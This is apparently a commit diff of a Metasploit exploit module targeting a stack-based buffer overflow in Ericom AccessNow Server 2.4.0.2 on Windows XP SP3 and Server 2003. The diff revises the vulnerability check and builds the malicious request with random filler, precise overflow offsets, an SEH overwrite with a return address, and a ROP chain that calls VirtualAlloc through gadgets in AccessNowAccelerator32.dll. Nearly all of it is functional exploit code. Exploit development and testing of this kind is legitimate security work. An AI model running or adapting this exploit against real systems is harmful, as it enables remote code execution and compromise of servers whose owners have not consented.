@@ -17,7 +17,7 @@ def initialize(info = {})
17
17
This module exploits a stack based buffer overflow in Ericom AccessNow Server. The
18
18
vulnerability is due to an insecure usage of vsprintf with used controlled data,
19
19
which can be triggered with a malformed HTTP request. This module has been tested
20
- successfully with Ericom AccessNow Server 2.4.0 on Windows XP SP3 and Windows 2003
20
+ successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003
21
21
Server SP2.
22
22
} ,
23
23
'Author' =>
@@ -34,6 +34,7 @@ def initialize(info = {})
34
34
] ,
35
35
'Privileged' => true ,
36
36
'Platform' => 'win' ,
37
+ 'Arch' => ARCH_X86 ,
37
38
'Payload' =>
38
39
{
39
40
'Space' => 4096 ,
@@ -43,7 +44,7 @@ def initialize(info = {})
43
44
} ,
44
45
'Targets' =>
45
46
[
46
- [ 'Ericom AccessNow Server 2.4.0 / Windows [XP SP3 / 2003 SP2]' ,
47
+ [ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]' ,
47
48
{
48
49
'RopOffset' => 62 ,
49
50
'Offset' => 30668 ,
@@ -63,22 +64,27 @@ def check
63
64
'uri' => '/AccessNow/start.html'
64
65
} )
65
66
66
- if res && res . code == 200 && res . headers [ 'Server' ] && res . headers [ 'Server' ] =~ /Ericom AccessNow Server/
67
- return Exploit ::CheckCode ::Detected
67
+ unless res && res . code == 200 && res . headers [ 'Server' ]
68
+ return Exploit ::CheckCode ::Safe
68
69
end
69
70
70
- return Exploit ::CheckCode ::Safe
71
+ if res . headers [ 'Server' ] =~ /Ericom AccessNow Server/
72
+ return Exploit ::CheckCode ::Appears # Ericom AccessNow 2.4
73
+ elsif res && res . code == 200 && res . headers [ 'Server' ] && res . headers [ 'Server' ] =~ /Ericom Access Server/
74
+ return Exploit ::CheckCode ::Detected # Ericom AccessNow 3
75
+ end
76
+
77
+ Exploit ::CheckCode ::Unknown
71
78
end
72
79
73
80
def exploit_uri
74
- uri = "A " # To ensure a "malformed request" error message
75
- uri << "C" * ( 62 )
81
+ uri = "#{ rand_text_alpha ( 1 ) } " # To ensure a "malformed request" error message
82
+ uri << rand_text ( target [ 'RopOffset' ] )
76
83
uri << create_rop_chain
77
84
uri << payload . encoded
78
- print_status ( "#{ Rex ::Text . to_hex_dump ( payload . encoded ) } " )
79
- uri << "B" * ( 0x77cc - uri . length )
80
- uri << "CCCC" #nseh
81
- uri << [ 0x104da1e5 ] . pack ( "V" ) #seh
85
+ uri << rand_text ( target [ 'Offset' ] - uri . length )
86
+ uri << rand_text ( 4 ) # nseh
87
+ uri << [ target . ret ] . pack ( "V" ) # seh
82
88
83
89
uri
84
90
end
@@ -96,8 +102,8 @@ def create_rop_chain
96
102
# rop chain generated with mona.py - www.corelan.be
97
103
rop_gadgets =
98
104
[
99
- 0x10518867 , # RETN # [AccessNowAccelerator32.dll] # Padding to ensure compatibility with all window versions
100
- 0x10518867 , # RETN # [AccessNowAccelerator32.dll] # Padding to ensure compatibility with all window versions
105
+ 0x10518867 , # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
106
+ 0x10518867 , # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3
101
107
0x10518866 , # POP EAX # RETN [AccessNowAccelerator32.dll]
102
108
0x105c6294 , # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll]
103
109
0x101f292b , # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll]
0 commit comments